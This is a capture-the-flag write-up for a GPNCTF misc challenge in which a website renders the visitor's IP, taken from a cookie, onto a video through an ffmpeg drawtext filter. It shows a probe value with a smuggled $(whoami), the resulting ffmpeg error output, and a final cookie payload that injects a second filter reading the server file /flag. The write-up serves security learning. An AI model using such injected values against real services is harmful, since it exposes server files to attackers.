I know where your house lives.

The flag lives in /flag not ./flag, not /flag.txt

Category: Misc

Solver: superfrogemperor & Likedaeler

Flag: GPNCTF{yOUr_H0USE_l1VEs_4T_google.com/maps/place/neapolis.11.polignano}

Scenario

We have a website which displays our IP address on top of a video containing a broccoli in a hot tub

Analysis

After inspecting the website, we can deduce, that the js snippet responsible for After inspecting the website, we can deduce that the js snippet responsible for getting the IP address is

fetch("https://api.ipify.org?format=json")
  .then((x) => x.json())
  .then((c) => {
    document.cookie = c.ip;
    location.reload();
  });

Here, we can see, that the ip is stored in an unnamed cookie. There seems to be a regex matching ip addresses, so all following findings have a 1.1.1.1 prepended. Trying out some common escape sequences like ' and " we can see, that they get replaced. Trying out dot and colon reveal interesting stuff, but not that useful. After using 192.168.0.1=.::.:.:'"$(whoami)'", we get a stacktrace:

ffmpeg version 6.1.2 Copyright (c) 2000-2024 the FFmpeg developers
  built with gcc 14.2.0 (Alpine 14.2.0)
  configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl
  libavutil      58. 29.100 / 58. 29.100
  libavcodec     60. 31.102 / 60. 31.102
  libavformat    60. 16.100 / 60. 16.100
  libavdevice    60.  3.100 / 60.  3.100
  libavfilter     9. 12.100 /  9. 12.100
  libswscale      7.  5.100 /  7.  5.100
  libswresample   4. 12.100 /  4. 12.100
  libpostproc    57.  3.100 / 57.  3.100
[Parsed_drawtext_0 @ 0x7f5af6c97ec0] Both text and text file provided. Please provide only one
[AVFilterGraph @ 0x7f5af23ddd40] Error initializing filters
Failed to set value 'drawtext=fontfile=font.otf:fontcolor=white:fontsize=128:x=(w-text_w)/2:y=(h-text_h)/2:text='192.168.0.1=..:.:.:'"$(whoami)'"'' for option 'filter_complex': Invalid argument
Error parsing global options: Invalid argument

This reveals that the video is modified with ffmpeg on the fly with the filter drawtext=fontfile=font.otf:fontcolor=white:fontsize=128:x=(w-text_w)/2:y=(h-text_h)/2:text='{ip + text}'. After researching the ffmpeg documentation for the drawtext filter, we can see that there is an option for a textfile so we probably need to set the textfile to /flag instead of using the ip as the text.

After some trial and error, using

1.1.1.1'[tmp];[tmp]drawtext=fontfile=font.otf:fontcolor=red:fontsize=32:x=(w-text_w)/2:y=(h-text_h)/2:textfile=/flag

we get the flag in the video. Happy manual ocr for extraction :).